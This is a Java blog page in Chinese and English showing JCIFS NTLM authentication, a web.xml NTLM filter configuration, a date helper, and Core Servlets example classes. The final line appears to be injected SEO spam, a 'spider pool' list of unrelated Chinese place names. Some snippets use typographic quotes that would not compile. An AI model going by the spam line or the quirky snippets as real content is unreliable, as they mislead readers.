          1、NTLM can be done with JCIFS and without HTTP. Only a few lines of code are required in the code of your servlet:

          InetAddress ip = InetAddress.getByName(”192.168.0.1.”); // ip address of your windows controller
          UniAddress myDomain = new UniAddress(ip);
          NtlmPasswordAuthentication auth = new NtlmPasswordAuthentication(”MYDOMAIN”, “mylogin”, “mypasword”);
          SmbSession.logon(myDomain, auth);

          If an exception is triggered, the controller didn’t like the login and the password

          2、Http方式下web.xml中filter的配置:

          <?xml version="1.0" encoding="UTF-8"?>
          <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "<web-app>
           <display-name>WEB APP</display-name>
           <description>WEB APP description</description>
           <servlet>
            <servlet-name>ShowRequestHeaders</servlet-name>
            <servlet-class>coreservlets.ShowRequestHeaders</servlet-class>
           </servlet>
           <servlet-mapping>
            <servlet-name>ShowRequestHeaders</servlet-name>
            <url-pattern>/ShowRequestHeaders</url-pattern>
           </servlet-mapping>
            <filter>
              <filter-name>NtlmHttpFilter</filter-name>
              <filter-class>jcifs.http.NtlmHttpFilter</filter-class>

              <init-param>
                  <param-name>jcifs.http.domainController</param-name>
                  <param-value>192.168.10.1</param-value>
              </init-param>
            </filter>

            <filter-mapping>
              <filter-name>NtlmHttpFilter</filter-name>
              <url-pattern>/*</url-pattern>
            </filter-mapping>
           
          </web-app>

          //import java.text.*;
          //import java.util.*;

          public static String addDate(String day,int x)
            {
              SimpleDateFormat format=new SimpleDateFormat("yyyy/MM/dd");
              Date date = null;
              try
              {
                date = format.parse(day);
              }
              catch (ParseException ex)
              {
                ex.printStackTrace();
              }
              if (date==null) return "";
              Calendar cal=Calendar.getInstance();
              cal.setTime(date);
              cal.add(Calendar.DAY_OF_MONTH,x);
              date=cal.getTime();
              System.out.println("3 days after(or before) is "+format.format(date));
              cal=null;
              return format.format(date);
            }

          posted @ 2005-08-18 13:26 my java 閱讀(5555) | 評論 (0)編輯 收藏

          建目錄coreservlets,將兩個servlets放在這個目錄中,在coreservlet的上級目錄
          運行:
          javac coreservlets/HelloServlet3.java



          package coreservlets;

          import java.io.*;
          import javax.servlet.*;
          import javax.servlet.http.*;

          /** Simple servlet for testing the use of packages
           *  and utilities from the same package.
           *  <P>
           *  Taken from Core Servlets and JavaServer Pages 2nd Edition
           *  from Prentice Hall and Sun Microsystems Press,
           *  http://www.coreservlets.com/.
           *  &copy; 2003 Marty Hall; may be freely used or adapted.
           */

          public class HelloServlet3 extends HttpServlet {
            public void doGet(HttpServletRequest request,
                              HttpServletResponse response)
                throws ServletException, IOException {
              response.setContentType("text/html");
              PrintWriter out = response.getWriter();
              String title = "Hello (3)";
              out.println(ServletUtilities.headWithTitle(title) +
                          "<BODY BGCOLOR=\"#FDF5E6\">\n" +
                          "<H1>" + title + "</H1>\n" +
                          "</BODY></HTML>");
            }
          }




          package coreservlets;

          import javax.servlet.*;
          import javax.servlet.http.*;

          /** Some simple timesavers. Note that most are static methods.
           *  <P>
           *  Taken from Core Servlets and JavaServer Pages 2nd Edition
           *  from Prentice Hall and Sun Microsystems Press,
           *  http://www.coreservlets.com/.
           *  &copy; 2003 Marty Hall; may be freely used or adapted.
           */

          public class ServletUtilities {
            public static final String DOCTYPE =
              "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 " +
              "Transitional//EN\">";

            public static String headWithTitle(String title) {
              return(DOCTYPE + "\n" +
                     "<HTML>\n" +
                     "<HEAD><TITLE>" + title + "</TITLE></HEAD>\n");
            }

            /** Read a parameter with the specified name, convert it
             *  to an int, and return it. Return the designated default
             *  value if the parameter doesn't exist or if it is an
             *  illegal integer format.
            */
           
            public static int getIntParameter(HttpServletRequest request,
                                              String paramName,
                                              int defaultValue) {
              String paramString = request.getParameter(paramName);
              int paramValue;
              try {
                paramValue = Integer.parseInt(paramString);
              } catch(NumberFormatException nfe) { // null or bad format
                paramValue = defaultValue;
              }
              return(paramValue);
            }

            public static double getDoubleParameter
                                           (HttpServletRequest request,
                                            String paramName,
                                            double defaultValue) {
              String paramString = request.getParameter(paramName);
              double paramValue;
              try {
                paramValue = Double.parseDouble(paramString);
              } catch(NumberFormatException nfe) { // null or bad format
                paramValue = defaultValue;
              }
              return(paramValue);
            }

            /** Replaces characters that have special HTML meanings
             *  with their corresponding HTML character entities.
             */
           
            // Note that Javadoc is not used for the more detailed
            // documentation due to the difficulty of making the
            // special chars readable in both plain text and HTML.
            //
            // Given a string, this method replaces all occurrences of
            //  '<' with '&lt;', all occurrences of '>' with
            //  '&gt;', and (to handle cases that occur inside attribute
            //  values), all occurrences of double quotes with
            //  '&quot;' and all occurrences of '&' with '&amp;'.
            //  Without such filtering, an arbitrary string
            //  could not safely be inserted in a Web page.

            public static String filter(String input) {
              if (!hasSpecialChars(input)) {
                return(input);
              }
              StringBuffer filtered = new StringBuffer(input.length());
              char c;
              for(int i=0; i<input.length(); i++) {
                c = input.charAt(i);
                switch(c) {
                  case '<': filtered.append("&lt;"); break;
                  case '>': filtered.append("&gt;"); break;
                  case '"': filtered.append("&quot;"); break;
                  case '&': filtered.append("&amp;"); break;
                  default: filtered.append(c);
                }
              }
              return(filtered.toString());
            }

            private static boolean hasSpecialChars(String input) {
              boolean flag = false;
              if ((input != null) && (input.length() > 0)) {
                char c;
                for(int i=0; i<input.length(); i++) {
                  c = input.charAt(i);
                  switch(c) {
                    case '<': flag = true; break;
                    case '>': flag = true; break;
                    case '"': flag = true; break;
                    case '&': flag = true; break;
                  }
                }
              }
              return(flag);
            }
          }

           

          posted @ 2005-08-17 11:34 my java 閱讀(1029) | 評論 (1)編輯 收藏
          主站蜘蛛池模板: 兴海县| 阿克陶县| 丹棱县| 壶关县| 贞丰县| 钟山县| 咸丰县| 都江堰市| 雷山县| 剑阁县| 涟源市| 夏邑县| 桐城市| 本溪| 北川| 高安市| 德惠市| 安西县| 卫辉市| 航空| 于都县| 彩票| 建阳市| 绥阳县| 静乐县| 徐闻县| 工布江达县| 安阳县| 巴南区| 泾源县| 东港市| 肥城市| 东莞市| 博湖县| 定襄县| 三都| 曲靖市| 平远县| 栖霞市| 曲阳县| 乡宁县|